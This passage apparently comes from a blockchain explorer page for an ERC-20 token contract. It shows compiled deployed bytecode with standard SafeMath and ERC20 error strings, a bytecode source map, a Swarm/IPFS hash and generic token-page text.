2001611038565b505050509050019650505050505050600060405180830381600087803b15801561107957600080fd5b505af115801561108d573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405260208110156110b657600080fd5b8101908080516040519392919084600160201b8211156110d557600080fd5b9083019060208201858111156110ea57600080fd5b82518660208202830111600160201b8211171561110657600080fd5b82525081516020918201928201910280838360005b8381101561113357818101518382015260200161111b565b505050509050016040525050505050505050565b611151848461128b565b610998838386846112d4565b6001600160a01b03821660009081526005602052604081205461118090836113bd565b9392505050565b611190816113d0565b60609290921c60009081526005602052604090209190915550565b600082821115611202576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b600082820183811015611180576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b3060601b90565b6000546112899030906001600160a01b031661128482610672565b6109c9565b565b6001546040805183815290516001600160a01b038086169316917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef919081900360200190a35050565b60045460408051868152600060208201819052818301526060810186905290516001600160a01b038086169316917fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822919081900360800190a3600154604080516370ab58db60e11b81526001600160a01b03858116600483015292831660248201526044810186905290519183169163e156b1b6916064808201926020929091908290030181600087803b15801561138b57600080fd5b505af115801561139f573d6000803e3d6000fd5b505050506040513d60208110156113b557600080fd5b505050505050565b60008183816113c857fe5b049392505050565b600a908102049056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220cdb41dd85cb58fb1ec2b11821d360f6793d0180935f0f7c390698ad75fb270f164736f6c63430007060033

Deployed Bytecode Sourcemap

2651:8357:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2994:36;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4182:158;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;4182:158:0;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;3124:45;;;:::i;:::-;;;;;;;;;;;;;;;;4348:248;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;4348:248:0;;;;;;;;;;;;;;;;;:::i;3082:35::-;;;:::i;:::-;;;;;;;;;;;;;;;;;;;4604:242;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;4604:242:0;;;;;;;;:::i;8034:190::-;;;;;;;;;;;;;;;;-1:-1:-1;8034:190:0;-1:-1:-1;;;;;8034:190:0;;:::i;3745:118::-;;;;;;;;;;;;;;;;-1:-1:-1;3745:118:0;-1:-1:-1;;;;;3745:118:0;;:::i;3654:83::-;;;:::i;:::-;;2735:20;;;:::i;:::-;;;;-1:-1:-1;;;;;2735:20:0;;;;;;;;;;;;;;4854:404;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;4854:404:0;;;;;;;;:::i;7009:338::-;;;;;;;;;;;;;;;;-1:-1:-1;7009:338:0;;;;;;-1:-1:-1;;;;;7009:338:0;;:::i;3871:150::-;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;3871:150:0;;;;;;;;:::i;6647:354::-;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6647:354:0;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;6647:354:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;6647:354:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;6647:354:0;;-1:-1:-1;6647:354:0;;-1:-1:-1;;;;;6647:354:0:i;8232:914::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;8232:914:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;8232:914:0;;;;;;;;;;-1:-1:-1;8232:914:0;;-1:-1:-1;8232:914:0;-1:-1:-1;8232:914:0;:::i;4029:145::-;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;4029:145:0;;;;;;;;;;:::i;2994:36::-;;;;;;;;;;;;;;-1:-1:-1;;;2994:36:0;;;;:::o;4182:158::-;4256:4;4273:37;4282:10;4294:7;4303:6;4273:8;:37::i;:::-;-1:-1:-1;4328:4:0;4182:158;;;;:::o;3124:45::-;;;;:::o;4348:248::-;4470:4;4487:41;4503:4;4509:10;4521:6;4487:15;:41::i;:::-;4539:27;4549:4;4555:2;4559:6;4539:9;:27::i;:::-;-1:-1:-1;4584:4:0;4348:248;;;;;:::o;3082:35::-;3115:2;3082:35;:::o;4604:242::-;4692:4;4727:10;4748:68;4727:10;4766:7;4805:10;4775:27;4727:10;4766:7;4775:9;:27::i;:::-;:40;4748:8;:68::i;8034:190::-;8081:7;8102:10;8114;8130:5;;;;;;;;;-1:-1:-1;;;;;8130:5:0;-1:-1:-1;;;;;8130:17:0;;:19;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;8130:19:0;;;;;;;8168:5;;8130:19;8168:14;;-1:-1:-1;;;8168:14:0;;;;8130:19;;-1:-1:-1;8130:19:0;;-1:-1:-1;;;;;;8168:19:0;;;;:5;;;:12;;:14;;;;;8130:19;8168:14;;;;;;:5;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;8168:14:0;-1:-1:-1;;;;;8168:19:0;;8167:49;;8213:2;-1:-1:-1;;;;;8205:11:0;8167:49;;;8199:2;-1:-1:-1;;;;;8191:11:0;8167:49;8160:56;8034:190;-1:-1:-1;;;;8034:190:0:o;3745:118::-;-1:-1:-1;;;;;3837:18:0;3810:7;3837:18;;;:9;:18;;;;;;;3745:118::o;3654:83::-;3577:5;;-1:-1:-1;;;;;3577:5:0;3586:10;3577:19;3569:55;;;;;-1:-1:-1;;;3569:55:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;3711:5:::1;:18:::0;;-1:-1:-1;;;;;;3711:18:0::1;::::0;;3654:83::o;2735:20::-;;;-1:-1:-1;;;;;2735:20:0;;:::o;4854:404::-;4947:4;4982:10;4947:4;5030:27;4982:10;5049:7;5030:9;:27::i;:::-;5003:54;;5096:15;5076:16;:35;;5068:85;;;;-1:-1:-1;;;5068:85:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5166:62;5175:7;5184;5212:15;5193:16;:34;5166:8;:62::i;:::-;-1:-1:-1;5246:4:0;;4854:404;-1:-1:-1;;;;4854:404:0:o;7009:338::-;7134:9;;7101:28;;;7118:10;7101:28;;;;;;;;;;;;;;;;;;;;;;;;;;7091:39;;;;;:52;:67;;;;;7147:2;7153:5;7147:11;7091:67;7087:253;;;7175:11;7193:3;;:10;;;-1:-1:-1;;;7193:10:0;;;;7189:19;;-1:-1:-1;;;;;7193:3:0;;:8;;:10;;;;;;;;;;;;;;:3;:10;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;7193:10:0;7205:2;7189:3;:19::i;:::-;7175:33;;7223:18;7244:7;:5;:7::i;:::-;7223:28;;7266:11;7280:12;7285:3;7290:1;7280:4;:12::i;:::-;7266:26;;7307:21;7312:3;7317;7322:1;7325:2;7307:4;:21::i;:::-;7087:253;;;;7009:338;;:::o;3871:150::-;3941:4;3958:33;3968:10;3980:2;3984:6;3958:9;:33::i;6647:354::-;6779:4;6843:9;;6827:10;6810:28;;;;;;-1:-1:-1;;;;;6810:28:0;;;;;;;;;;;;;;;;;;;;;;6800:39;;;;;;:52;6796:176;;;6874:9;6869:92;6893:1;:8;6889:1;:12;6869:92;;;6927:18;6930:1;6932;6930:4;;;;;;;;;;;;;;6936:1;6939;6942:2;6927;:18::i;:::-;6903:3;;6869:92;;;;-1:-1:-1;6989:4:0;6647:354;;;;;;:::o;8232:914::-;8397:9;;8364:28;;;8381:10;8364:28;;;;;;;;;;;;;;;;;;;;;;;;;;8354:39;;;;;:52;8350:789;;;8428:9;8423:705;8443:15;;;8423:705;;;8730:2;8488:239;8708:2;8698:4;;8703:1;8698:7;;;;;;;;;;;;;8672:34;;:38;;8488:9;:239::i;:::-;:244;8484:629;;;8757:17;8777:241;8995:2;8985:4;;8990:1;8985:7;;;;;;;;;;;;;8959:34;;:38;;9015:2;8777:7;:241::i;:::-;8757:261;;9041:52;9074:4;;9079:1;9074:7;;;;;;;;;;;;;9083:9;9041:6;:52::i;:::-;8484:629;;8460:3;;8423:705;;8350:789;8232:914;;;;:::o;4029:145::-;-1:-1:-1;;;;;4138:19:0;;;4111:7;4138:19;;;:10;:19;;;;;;;;:28;;;;;;;;;;;;;4029:145::o;5829:387::-;-1:-1:-1;;;;;5967:21:0;;5959:70;;;;-1:-1:-1;;;5959:70:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6048:21:0;;6040:68;;;;-1:-1:-1;;;6040:68:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6121:19:0;;;;;;;:10;:19;;;;;;;;:28;;;;;;;;;;;;;:37;;;6174:34;;;;;;;;;;;;;;;;;5829:387;;;:::o;6224:417::-;6361:24;6388:27;6398:7;6407;6388:9;:27::i;:::-;6361:54;;-1:-1:-1;;6430:16:0;:37;6426:208;;6512:6;6492:16;:26;;6484:68;;;;;-1:-1:-1;;;6484:68:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;6569:53;6578:7;6587;6615:6;6596:16;:25;6569:8;:53::i;5266:555::-;-1:-1:-1;;;;;5397:18:0;;5389:68;;;;-1:-1:-1;;;5389:68:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;5476:16:0;;5468:64;;;;-1:-1:-1;;;5468:64:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;5567:15:0;;5545:19;5567:15;;;:9;:15;;;;;;5601:21;;;;5593:72;;;;-1:-1:-1;;;5593:72:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5694:24;5698:11;5711:6;5694:3;:24::i;:::-;-1:-1:-1;;;;;5676:15:0;;;;;;;:9;:15;;;;;;:42;;;;5749:13;;;;;;;5745:26;;5764:6;5745:3;:26::i;:::-;-1:-1:-1;;;;;5729:13:0;;;;;;;:9;:13;;;;;;;;;:42;;;;5787:26;;;;;;;5729:13;;5787:26;;;;;;;;;;;;;5266:555;;;;:::o;7876:148::-;7936:7;7956:11;7970:9;7976:2;7970:5;:9::i;:::-;8010:6;7998:8;;7997:19;;;;;;-1:-1:-1;;;7876:148:0:o;7353:204::-;7455:16;;;7469:1;7455:16;;;7393;7455;;;;;7393;;;7455;7469:1;7455:16;;;;;;;;;;-1:-1:-1;7455:16:0;7451:20;;7497:4;7482:1;7484;7482:4;;;;;;;;;;;;;:20;-1:-1:-1;;;;;7482:20:0;;;-1:-1:-1;;;;;7482:20:0;;;;;7520:3;;;;;;;;-1:-1:-1;;;;;7520:3:0;-1:-1:-1;;;;;7520:8:0;;:10;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;7520:10:0;7513:4;;:1;;7515;;7513:4;;;;;;-1:-1:-1;;;;;7513:17:0;;;:4;;;;;;;;;;;:17;7548:1;-1:-1:-1;7353:204:0;:::o;9853:590::-;9975:16;;;9989:1;9975:16;;;9938:20;9975:16;;;;;9918:7;;9938:20;;9975:16;9989:1;9975:16;;;;;;;;-1:-1:-1;;10010:3:0;;;:24;;;-1:-1:-1;;;10010:24:0;;;;;;;;;;;;;;;;;;;;;;9969:22;;-1:-1:-1;;;;;;10010:3:0;;;;:16;;-1:-1:-1;10027:3:0;;10032:1;;10010:24;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;10010:24:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;10010:24:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;10010:24:0;;;;;;;;;;;;-1:-1:-1;10010:24:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10004:30;;10351:3;10369:1;10351:32;;;;;;;;;;;;;;10045:9;:292;10109:1;10069:15;:42;:267;;10323:1;10069:267;;;10266:2;10232:9;:7;:9::i;:::-;10204:64;;10069:267;-1:-1:-1;;;;;10045:292:0;;;;;;;;;;;;-1:-1:-1;10045:292:0;;;:338;;;;;;;;10401:34;;:3;;-1:-1:-1;10401:34:0;;;;;;;;;;10394:41;;;9853:590;;;;:::o;7680:186::-;7772:6;:4;:6::i;:::-;7789:3;;;;;;;;-1:-1:-1;;;;;7789:3:0;-1:-1:-1;;;;;7789:28:0;;7818:3;7823;7828:1;7831:2;7835:15;7853:4;7835:22;7789:69;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7789:69:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;7789:69:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;7789:69:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;7789:69:0;;;;;;;;;;;;-1:-1:-1;7789:69:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7680:186;;;;:::o;9154:172::-;9274:15;9284:1;9287;9274:9;:15::i;:::-;9300:18;9306:1;9309;9312;9315:2;9300:5;:18::i;9703:142::-;-1:-1:-1;;;;;9810:16:0;;9776:7;9810:16;;;:9;:16;;;;;;9803:34;;9828:8;9803:6;:34::i;:::-;9796:41;9703:142;-1:-1:-1;;;9703:142:0:o;10457:331::-;10758:22;10772:6;10758:5;:22::i;:::-;10736:2;10706:32;;;;10520:235;;;;:9;:235;;;;;:260;;;;-1:-1:-1;10457:331:0:o;2460:184::-;2518:7;2551:1;2546;:6;;2538:49;;;;;-1:-1:-1;;;2538:49:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;2610:5:0;;;2460:184::o;2271:181::-;2329:7;2361:5;;;2385:6;;;;2377:46;;;;;-1:-1:-1;;;2377:46:0;;;;;;;;;;;;;;;;;;;;;;;;;;;10798:207;10945:4;10976:2;10889:89;10798:207;:::o;7565:107::-;7633:3;;7601:63;;7618:4;;-1:-1:-1;;;;;7633:3:0;7639:24;7618:4;7639:9;:24::i;:::-;7601:8;:63::i;:::-;7565:107::o;9334:140::-;9435:5;;9418:48;;;;;;;;-1:-1:-1;;;;;9418:48:0;;;;9435:5;;9418:48;;;;;;;;;;9334:140;;:::o;9482:213::-;9615:3;;9610:24;;;;;;9615:3;9610:24;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;9610:24:0;;;;9615:3;;9610:24;;;;;;;;;;9677:5;;9645:42;;;-1:-1:-1;;;9645:42:0;;-1:-1:-1;;;;;9645:42:0;;;;;;;9677:5;;;9645:42;;;;;;;;;;;;:20;;;;;;:42;;;;;;;;;;;;;;;9677:5;9645:20;:42;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;9482:213:0:o;2057:101::-;2118:7;2149:1;2145;:5;;;;;;;2057:101;-1:-1:-1;;;2057:101:0:o;2166:97::-;2253:2;2243:6;;;2242:13;;2166:97::o

Swarm Source

ipfs://cdb41dd85cb58fb1ec2b11821d360f6793d0180935f0f7c390698ad75fb270f1
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.